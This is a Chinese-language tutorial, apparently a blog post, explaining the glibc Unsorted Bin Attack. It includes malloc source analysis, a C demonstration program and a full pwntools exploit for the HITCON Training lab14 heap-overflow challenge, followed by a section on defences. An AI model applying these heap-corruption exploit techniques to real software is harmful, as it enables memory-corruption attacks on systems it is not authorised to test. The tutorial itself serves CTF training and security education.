1. Unsorted Bin Attack基础原理
Unsorted Bin Attack是一种针对glibc内存管理机制的漏洞利用技术。要理解这个攻击手法,我们得先了解glibc中unsorted bin的基本工作原理。
unsorted bin在glibc的内存管理体系中扮演着缓冲区的角色。当程序释放一个不属于fast bin大小的chunk时,这个chunk首先会被放入unsorted bin中。与fast bin和small bin不同,unsorted bin是一个双向链表,而且其中的chunk不会按照大小排序。
unsorted bin的关键特性包括:
- 采用FIFO(先进先出)机制
- 每个chunk都包含fd(forward pointer)和bk(backward pointer)两个指针
- 当malloc时无法在fast bin和small bin中找到合适大小的chunk时,会遍历unsorted bin
攻击的核心在于利用_int_malloc函数中对unsorted bin的操作代码。具体来说,当从unsorted bin中取出一个chunk时,会执行以下关键操作:
c复制unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
这两行代码实际上是在维护双向链表的完整性。如果我们能够控制某个chunk的bk指针,就能实现任意地址写入一个较大的值(通常是unsorted bin的地址)。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. 关键代码分析
让我们深入分析_int_malloc中与unsorted bin相关的关键代码片段。理解这些代码是成功利用漏洞的基础。
在malloc.c的_int_malloc函数中,处理unsorted bin的部分有几个关键点需要注意。首先是检查chunk完整性的代码:
c复制if (__glibc_unlikely (bck->fd != victim))
malloc_printerr("malloc(): corrupted unsorted chunks 3");
这个检查确保了双向链表的完整性。如果我们要修改bk指针,必须确保这个检查能够通过。
接下来是实际修改指针的代码:
c复制unsorted_chunks(av)->bk = bck;
bck->fd = unsorted_chunks(av);
这两行代码的执行效果是:
- 将unsorted bin的bk指针指向我们控制的bck
- 将bck->fd指向unsorted bin的头节点
如果我们能够控制bck(即victim chunk的bk指针),就能实现向任意地址写入unsorted bin头节点的地址。
3. 实战演示:简单示例
为了更好地理解,我们来看一个简化的示例程序。这个程序演示了如何通过控制bk指针来修改目标变量的值。
c复制#include <stdio.h>
#include <stdlib.h>
int main() {
unsigned long target_var = 0;
printf("&target_var = %p, value = %lu\n", &target_var, target_var);
unsigned long *p = malloc(400);
malloc(500); // 防止合并到top chunk
free(p);
// 修改p的bk指针
p[1] = (unsigned long)(&target_var - 2);
malloc(400); // 触发unsorted bin attack
printf("After attack: &target_var = %p, value = %lu\n",
&target_var, target_var);
return 0;
}
这个程序的执行流程如下:
- 分配两个chunk,第二个chunk防止第一个chunk被释放时合并到top chunk
- 释放第一个chunk,它会被放入unsorted bin
- 修改释放的chunk的bk指针,指向目标地址-0x10的位置
- 再次分配相同大小的chunk,触发unsorted bin操作
- 目标变量的值被修改为unsorted bin的地址
为什么是target_var-2?因为在glibc的实现中,bk指针指向的是下一个chunk的头部,而我们需要伪造一个chunk结构。对于64位系统,chunk头的大小是0x10字节。
4. CTF实战:HITCON Training lab14
现在我们来分析一个真实的CTF题目 - HITCON Training lab14,展示如何利用Unsorted Bin Attack获取flag。
4.1 题目分析
首先检查程序的基本信息:
- 64位程序
- 关闭了PIE(地址随机化)
- 有create、edit、delete功能
关键点在于程序中有一个magic全局变量,当它的值大于4869(0x1305)时,会调用system("cat flag")。
4.2 漏洞点
程序存在以下问题:
- edit功能中,可以输入比原始size更大的内容,导致堆溢出
- delete功能正确释放内存,没有UAF漏洞
我们的目标是利用堆溢出修改某个chunk的bk指针,然后通过Unsorted Bin Attack修改magic变量的值。
4.3 利用步骤
具体利用步骤如下:
-
创建三个chunk:
- chunk0:小chunk(0x20),用于溢出
- chunk1:较大的chunk(0x80),将被释放到unsorted bin
- chunk2:小chunk(0x20),防止chunk1与top chunk合并
-
释放chunk1,它会被放入unsorted bin
-
通过chunk0溢出,修改chunk1的bk指针,指向magic-0x10
-
再次申请一个0x80大小的chunk,触发unsorted bin attack
-
magic变量被修改为unsorted bin的地址(一个很大的值)
-
触发magic检查,获取flag
4.4 完整利用代码
python复制from pwn import *
context.log_level = 'debug'
def create(size, content):
p.sendlineafter(':', '1')
p.sendlineafter(':', str(size))
p.sendafter(':', content)
def edit(idx, size, content):
p.sendlineafter(':', '2')
p.sendlineafter(':', str(idx))
p.sendlineafter(':', str(size))
p.sendafter(':', content)
def delete(idx):
p.sendlineafter(':', '3')
p.sendlineafter(':', str(idx))
p = process('./heapcreator')
# 创建三个chunk
create(0x20, 'A'*0x20) # chunk0
create(0x80, 'B'*0x80) # chunk1
create(0x20, 'C'*0x20) # chunk2
# 释放chunk1到unsorted bin
delete(1)
# 准备fake chunk
magic = 0x6020c0
fake_chunk = magic - 0x10
# 通过chunk0溢出修改chunk1的bk指针
payload = 'A'*0x20 # 填充chunk0
payload += p64(0) # chunk1的prev_size
payload += p64(0x91) # chunk1的size
payload += p64(0) # chunk1的fd
payload += p64(fake_chunk) # chunk1的bk
edit(0, len(payload), payload)
# 触发unsorted bin attack
create(0x80, 'D'*0x80)
# 触发magic检查
p.sendlineafter(':', '4869')
p.interactive()
5. 防御与检测
了解攻击手法后,我们也要知道如何防御这类漏洞。glibc已经采取了一些措施:
- 完整性检查:
c复制if (__glibc_unlikely (bck->fd != victim))
malloc_printerr("malloc(): corrupted unsorted chunks 3");
- 最新版glibc增加了更多的安全检查
开发者可以采取以下预防措施:
- 及时更新glibc版本
- 避免使用不安全的堆操作
- 使用Address Sanitizer等工具检测内存错误
在CTF比赛中,出题者可以通过以下方式增加难度:
- 开启PIE(地址随机化)
- 使用最新版glibc
- 限制堆操作的大小和次数
6. 实际应用中的挑战
虽然在CTF中Unsorted Bin Attack是一个常见的考点,但在实际漏洞利用中会遇到更多挑战:
- 需要信息泄露:通常需要先泄露堆地址或libc地址
- 现代glibc版本增加了更多保护措施
- 需要精确控制堆布局
- 多线程环境下的竞争条件
一个实际的利用流程可能包括:
- 通过堆溢出或UAF实现信息泄露
- 泄露libc地址和堆地址
- 精心构造堆布局
- 实施Unsorted Bin Attack
- 可能需要结合其他技术如FSOP(File Stream Oriented Programming)
7. 扩展思考
Unsorted Bin Attack虽然强大,但也有其局限性。它只能写入一个较大的值(通常是unsorted bin的地址),不能精确控制写入的内容。在实际利用中,我们通常需要结合其他技术:
- 结合fastbin attack实现更灵活的写操作
- 使用House of系列技巧绕过各种保护
- 结合ROP或JOP实现代码执行
理解这些底层机制不仅对CTF比赛有帮助,对日常开发中的内存管理、性能优化也有重要意义。比如,了解glibc的内存分配策略可以帮助我们优化程序的内存使用效率。
在分析这类漏洞时,使用gdb配合pwndbg等插件非常有用。一些常用的命令包括:
- heap:查看堆状态
- bins:查看各种bin的状态
- telescope:查看内存内容
最后要强调的是,这些技术应该仅用于合法授权的安全研究和CTF比赛。在实际开发中,我们应该遵循安全编程实践,避免引入这类漏洞。
